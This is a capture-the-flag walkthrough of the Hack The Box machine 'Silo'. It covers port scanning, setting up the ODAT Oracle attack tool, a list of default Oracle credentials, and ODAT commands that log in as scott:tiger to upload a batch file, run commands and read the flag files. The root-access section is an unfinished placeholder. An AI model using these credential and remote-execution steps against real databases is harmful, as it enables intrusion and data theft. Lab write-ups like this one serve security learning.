mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-07-02 10:46:41 +00:00
add hacking blogposts as they are
This commit is contained in:
parent
fa65088be1
commit
325b9c3814
1904 changed files with 91353 additions and 0 deletions
384
Medium/23.md
Normal file
384
Medium/23.md
Normal file
|
@ -0,0 +1,384 @@
|
|||
# Silo Writeup
|
||||
|
||||

|
||||
|
||||
## Introduction :
|
||||
|
||||
Silo is a Medium windows box released back in March 2018.
|
||||
|
||||
## **Part 1 : Initial Enumeration**
|
||||
|
||||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Silo]
|
||||
→ nmap -F 10.10.10.82
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 10:50 GMT
|
||||
Nmap scan report for 10.10.10.82
|
||||
Host is up (0.098s latency).
|
||||
Not shown: 92 closed ports
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
135/tcp open msrpc
|
||||
139/tcp open netbios-ssn
|
||||
445/tcp open microsoft-ds
|
||||
49152/tcp open unknown
|
||||
49153/tcp open unknown
|
||||
49154/tcp open unknown
|
||||
49155/tcp open unknown
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 1.65 seconds
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [~/_HTB]
|
||||
→ nmap -sCV -p80,135,139,445 10.10.10.82
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 10:51 GMT
|
||||
Nmap scan report for 10.10.10.82
|
||||
Host is up (0.15s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|
||||
|_http-server-header: Microsoft-IIS/8.5
|
||||
|_http-title: IIS Windows Server
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
|
||||
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
|_clock-skew: mean: 1m22s, deviation: 0s, median: 1m21s
|
||||
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|
||||
| smb-security-mode:
|
||||
| account_used: guest
|
||||
| authentication_level: user
|
||||
| challenge_response: supported
|
||||
|_ message_signing: supported
|
||||
| smb2-security-mode:
|
||||
| 2.02:
|
||||
|_ Message signing enabled but not required
|
||||
| smb2-time:
|
||||
| date: 2020-03-16T10:52:49
|
||||
|_ start_date: 2020-03-16T10:51:55
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 35.03 seconds
|
||||
|
||||
|
||||
|
||||
|
||||
## **Part 2 : Getting User Access**
|
||||
|
||||
Our nmap scan picked up port 80 so let's investigate it:
|
||||
|
||||

|
||||
|
||||
So we are greeted by a default Windows Server IIS webpage, so we could use dirsearch on it but it won't give us much results that we can use. So we'll move onto the next ports: 135,139 & 445 which are giving an oracle database for us to work with, onto which we'll use the [ODat](https://github.com/quentinhardy/odat) tool. So first let's install it :
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Silo]
|
||||
→ git clone https://github.com/quentinhardy/odat
|
||||
Cloning into 'odat'...
|
||||
remote: Enumerating objects: 180, done.
|
||||
remote: Counting objects: 100% (180/180), done.
|
||||
remote: Compressing objects: 100% (122/122), done.
|
||||
remote: Total 900 (delta 97), reused 112 (delta 58), pack-reused 720
|
||||
Receiving objects: 100% (900/900), 934.49 KiB | 1.77 MiB/s, done.
|
||||
Resolving deltas: 100% (531/531), done.
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Silo]
|
||||
→ cd odat
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at master-python3 ✔
|
||||
→ git submodule init [c47824b]
|
||||
Submodule 'docs' (https://github.com/quentinhardy/odat.wiki.git) registered for path 'docs'
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at master-python3 ✔
|
||||
→ git submodule update [c47824b]
|
||||
Cloning into '/home/nihilist/_HTB/Silo/odat/docs'...
|
||||
Submodule path 'docs': checked out '402d0446a807f8c75e07addaf0887a82c739bf1f'
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at master-python3 ✔
|
||||
→ sudo apt install libaio1 python3-dev alien python3-pip
|
||||
|
||||
|
||||
Once the dependencies installed, we download the rpm file from the oracle [website](https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html)
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at master-python3 ✔
|
||||
→ wget https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient19.6-basiclite-19.6.0.0.0-1.x86_64.rpm
|
||||
--2020-03-16 12:51:55-- https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient19.6-basiclite-19.6.0.0.0-1.x86_64.rpm
|
||||
Resolving download.oracle.com (download.oracle.com)... 23.212.224.6
|
||||
Connecting to download.oracle.com (download.oracle.com)|23.212.224.6|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 27978612 (27M) [application/x-redhat-package-manager]
|
||||
Saving to: ‘oracle-instantclient19.6-basiclite-19.6.0.0.0-1.x86_64.rpm’
|
||||
|
||||
oracle-instantclien 100%[===================>] 26.68M 2.38MB/s in 11s
|
||||
|
||||
2020-03-16 12:52:08 (2.34 MB/s) - ‘oracle-instantclient19.6-basiclite-19.6.0.0.0-1.x86_64.rpm’ saved [27978612/27978612]
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at master-python3 ✔
|
||||
→ sudo alien --to-deb oracle-instantclient19.6-basiclite-19.6.0.0.0-1.x86_64.rpm
|
||||
Warning: Skipping conversion of scripts in package oracle-instantclient19.6-basiclite: postinst postrm
|
||||
Warning: Use the --scripts parameter to include the scripts.
|
||||
oracle-instantclient19.6-basiclite_19.6.0.0.0-2_amd64.deb generated
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ sudo dpkg -i oracle-instantclient19.6-basiclite_19.6.0.0.0-2_amd64.deb
|
||||
Selecting previously unselected package oracle-instantclient19.6-basiclite.
|
||||
(Reading database ... 572297 files and directories currently installed.)
|
||||
Preparing to unpack oracle-instantclient19.6-basiclite_19.6.0.0.0-2_amd64.deb ...
|
||||
Unpacking oracle-instantclient19.6-basiclite (19.6.0.0.0-2) ...
|
||||
Setting up oracle-instantclient19.6-basiclite (19.6.0.0.0-2) ...
|
||||
Processing triggers for libc-bin (2.29-10) ...
|
||||
|
||||
|
||||
|
||||
Now that we have installed it, we edit our /etc/profle to define the Oracle env variables:
|
||||
|
||||
|
||||
export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
|
||||
export PATH=$ORACLE_HOME/bin:$PATH
|
||||
|
||||
|
||||
` 
|
||||
|
||||
Next step is creating /etc/ld.so.conf.d/oracle.conf and adding the path to Oracle Home:
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ sudo nano /etc/ld.so.conf.d/oracle.conf
|
||||
|
||||
|
||||
Adding the path to the Oracle Home directory:
|
||||
|
||||
|
||||
/usr/lib/oracle/19.6/client64/lib/
|
||||
|
||||
|
||||
Next we update the ldpath:
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ sudo ldconfig
|
||||
|
||||
|
||||
And finally we pip3 install cx_oracle and by testing it we see that we didn't have any problems so far:
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ sudo -s [c47824b]
|
||||
Starting ssh-agent...
|
||||
Identity added: /root/.ssh/id_rsa (root@prometheus)
|
||||
Identity added: /root/.ssh/id_ed25519 (root@prometheus)
|
||||
|
||||
λ root [ 10.10.14.10 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ source /etc/profile [c47824b]
|
||||
# pip3 install cx_Oracle [c47824b]
|
||||
Collecting cx_Oracle
|
||||
Downloading https://files.pythonhosted.org/packages/c9/ba/0fb63d616c2856016c13615ac43209b1909b7dbd8c5c461a79922e276678/cx_Oracle-7.3.0-cp37-cp37m-manylinux1_x86_64.whl (742kB)
|
||||
100% |████████████████████████████████| 747kB 744kB/s
|
||||
Installing collected packages: cx-Oracle
|
||||
Successfully installed cx-Oracle-7.3.0
|
||||
# python3 -c 'import cx_Oracle' [c47824b]
|
||||
#
|
||||
|
||||
|
||||
Next up we install the remaining dependencies we need :
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ sudo apt install python3-scapy [c47824b]
|
||||
Reading package lists... Done
|
||||
Building dependency tree
|
||||
Reading state information... Done
|
||||
python3-scapy is already the newest version (2.4.3-3).
|
||||
python3-scapy set to manually installed.
|
||||
The following packages were automatically installed and are no longer required:
|
||||
b43-fwcutter chromium-common chromium-sandbox firmware-b43-installer firmware-b43legacy-installer
|
||||
gnome-brave-icon-theme gnome-colors-common libdns-export1107 libdns1107 libexiv2-14 libicu57 libisc-export1104
|
||||
libisc1104 libjs-jquery-easing libjs-jquery-fancybox libjs-jquery-mousewheel libmicrodns0 libmysofa0 libradare2-3.9
|
||||
libu2f-udev python-apt python-asn1crypto python3-pycountry python3-simplegeneric ruby-diff-lcs ruby-docile
|
||||
ruby-rspec-expectations ruby-rspec-support ruby-simplecov ruby-simplecov-html system-config-printer
|
||||
Use 'sudo apt autoremove' to remove them.
|
||||
0 upgraded, 0 newly installed, 0 to remove and 123 not upgraded.
|
||||
|
||||
λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ sudo pip3 install colorlog termcolor pycrypto passlib [c47824b]
|
||||
Collecting colorlog
|
||||
Downloading https://files.pythonhosted.org/packages/00/0d/22c73c2eccb21dd3498df7d22c0b1d4a30f5a5fb3feb64e1ce06bc247747/colorlog-4.1.0-py2.py3-none-any.whl
|
||||
Requirement already satisfied: termcolor in /usr/lib/python3/dist-packages (1.1.0)
|
||||
Requirement already satisfied: pycrypto in /usr/lib/python3/dist-packages (2.6.1)
|
||||
Requirement already satisfied: passlib in /usr/lib/python3/dist-packages (1.7.2)
|
||||
Installing collected packages: colorlog
|
||||
Successfully installed colorlog-4.1.0
|
||||
|
||||
λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ sudo pip3 install argcomplete && sudo activate-global-python-argcomplete [c47824b]
|
||||
Requirement already satisfied: argcomplete in /usr/lib/python3/dist-packages (1.8.1)
|
||||
Installing bash completion script /etc/bash_completion.d/python-argcomplete.sh
|
||||
|
||||
|
||||
|
||||
From there we need to install the development version of pyinstaller (http://www.pyinstaller.org/) for python3.
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ pip3 install pyinstaller [c47824b]
|
||||
Collecting pyinstaller
|
||||
Downloading https://files.pythonhosted.org/packages/3c/c9/c3f9bc64eb11eee6a824686deba6129884c8cbdf70e750661773b9865ee0/PyInstaller-3.6.tar.gz (3.5MB)
|
||||
100% |████████████████████████████████| 3.5MB 206kB/s
|
||||
Installing build dependencies ... done
|
||||
Requirement already satisfied: setuptools in /usr/lib/python3/dist-packages (from pyinstaller) (44.0.0)
|
||||
Collecting altgraph (from pyinstaller)
|
||||
Downloading https://files.pythonhosted.org/packages/ee/3d/bfca21174b162f6ce674953f1b7a640c1498357fa6184776029557c25399/altgraph-0.17-py2.py3-none-any.whl
|
||||
Building wheels for collected packages: pyinstaller
|
||||
Running setup.py bdist_wheel for pyinstaller ... done
|
||||
Stored in directory: /home/nihilist/.cache/pip/wheels/62/fe/62/4c0f196d1e0dd689e097449bc81d7d585a7de7dd86b081b80b
|
||||
Successfully built pyinstaller
|
||||
Installing collected packages: altgraph, pyinstaller
|
||||
The scripts pyi-archive_viewer, pyi-bindepend, pyi-grab_version, pyi-makespec, pyi-set_version and pyinstaller are installed in '/home/nihilist/.local/bin' which is not on PATH.
|
||||
Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
|
||||
Successfully installed altgraph-0.17 pyinstaller-3.6
|
||||
|
||||
λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ ./odat.py -h [c47824b]
|
||||
ERROT: Python 3 has to be used for this version of ODAT
|
||||
|
||||
λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ python3 odat.py -h
|
||||
|
||||
|
||||
AND FINALLY we are able to use the Oracle Database Attacking Tool odat.py:
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at master-python3 ?
|
||||
→ python3 odat.py -h [c47824b]
|
||||
odat.py:52: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
|
||||
import imp
|
||||
usage: odat.py [-h] [--version]
|
||||
{all,tnscmd,tnspoison,sidguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean}
|
||||
...
|
||||
|
||||
_ __ _ ___
|
||||
/ \| \ / \|_ _|
|
||||
( o ) o ) o || |
|
||||
\_/|__/|_n_||_|
|
||||
-------------------------------------------
|
||||
_ __ _ ___
|
||||
/ \ | \ / \ |_ _|
|
||||
( o ) o ) o | | |
|
||||
\_/racle |__/atabase |_n_|ttacking |_|ool
|
||||
-------------------------------------------
|
||||
|
||||
By Quentin Hardy (quentin.hardy@protonmail.com or quentin.hardy@bt.com)
|
||||
|
||||
positional arguments:
|
||||
{all,tnscmd,tnspoison,sidguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean}
|
||||
|
||||
Choose a main command
|
||||
all to run all modules in order to know what it is possible to do
|
||||
tnscmd to communicate with the TNS listener
|
||||
tnspoison to exploit TNS poisoning attack
|
||||
sidguesser to know valid SIDs
|
||||
passwordguesser to know valid credentials
|
||||
utlhttp to send HTTP requests or to scan ports
|
||||
httpuritype to send HTTP requests or to scan ports
|
||||
utltcp to scan ports
|
||||
ctxsys to read files
|
||||
externaltable to read files or to execute system commands/scripts
|
||||
dbmsxslprocessor to upload files
|
||||
dbmsadvisor to upload files
|
||||
utlfile to download/upload/delete files
|
||||
dbmsscheduler to execute system commands without a standard output
|
||||
java to execute system commands
|
||||
passwordstealer to get hashed Oracle passwords
|
||||
oradbg to execute a bin or script
|
||||
dbmslob to download files
|
||||
stealremotepwds to steal hashed passwords thanks an authentication sniffing (CVE-2012-3137)
|
||||
userlikepwd to try each Oracle username stored in the DB like the corresponding pwd
|
||||
smb to capture the SMB authentication
|
||||
privesc to gain elevated access
|
||||
cve to exploit a CVE
|
||||
search to search in databases, tables and columns
|
||||
unwrapper to unwrap PL/SQL source code (no for 9i version)
|
||||
clean clean traces and logs
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
--version show program's version number and exit
|
||||
|
||||
|
||||
|
||||
Let's keep in mind that Oracle databases have a few possible default credentials :
|
||||
|
||||
|
||||
SYSTEM:MANAGER
|
||||
SCOTT:TIGER
|
||||
SYS:CHANGE_ON_INSTALL
|
||||
OUTLN:OUTLN
|
||||
DBSNMP:DBSNMP
|
||||
CTXSYS:CTXSYS
|
||||
MDSYS:MDSYS
|
||||
|
||||
|
||||
so we try them manually one by one, until we find that scott:tiger are the correct credentials: Although they may be the correct credentials, we do not know what is the user on the box, so we create a .bat script to be able to list the directories in C:\Users\ :
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at master-python3 !?
|
||||
→ echo 'dir /a c:\Users\' > nihilist.bat
|
||||
|
||||
|
||||
We upload it using odat.py's dbmsxslprocessor :
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at master-python3 !?
|
||||
→ python3 odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "c:/" nihilist.bat /home/nihilist/_HTB/Silo/odat/nihilist.bat --sysdba
|
||||
|
||||
[1] (10.10.10.82:1521): Put the /home/nihilist/_HTB/Silo/odat/nihilist.bat local file in the c:/ path (named nihilist.bat) of the 10.10.10.82 server
|
||||
[+] The /home/nihilist/_HTB/Silo/odat/nihilist.bat local file was put in the remote c:/ path (named nihilist.bat)
|
||||
|
||||
|
||||
|
||||
Now we use it to list the user directories :
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at master-python3 !?
|
||||
→ python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --exec "dir C:/" nihilist.bat --sysdba
|
||||
|
||||
|
||||
And looking at the results, we get the username "Phineas" so we grab his user flag:
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at master-python3 !?
|
||||
→ python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --getFile "c:/Users/Phineas/Desktop" "user.txt" "spz.io" --sysdba
|
||||
|
||||
[1] (10.10.10.82:1521): Read the user.txt file stored in the c:/Users/Phineas/Desktop path
|
||||
[+] Data stored in the remote file user.txt stored in c:/Users/Phineas/Desktop
|
||||
92XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
|
||||
|
||||
And we have the user flag !
|
||||
|
||||
## **Part 3 : Getting Root Access**
|
||||
|
||||
the text goes here
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at master-python3 !?
|
||||
→ sudo python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --getFile "c:/Users/Administrator/Desktop" "root.txt" "spz.io" --sysdba
|
||||
|
||||
[1] (10.10.10.82:1521): Read the root.txt file stored in the c:/Users/Administrator/Desktop path
|
||||
[+] Data stored in the remote file root.txt stored in c:/Users/Administrator/Desktop
|
||||
cdXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
|
||||
|
||||
And we have the root flag !
|
||||
|
||||
## **Conclusion**
|
||||
|
||||
Here we can see the progress graph :
|
||||
|
||||

|
||||
|
Loading…
Add table
Add a link
Reference in a new issue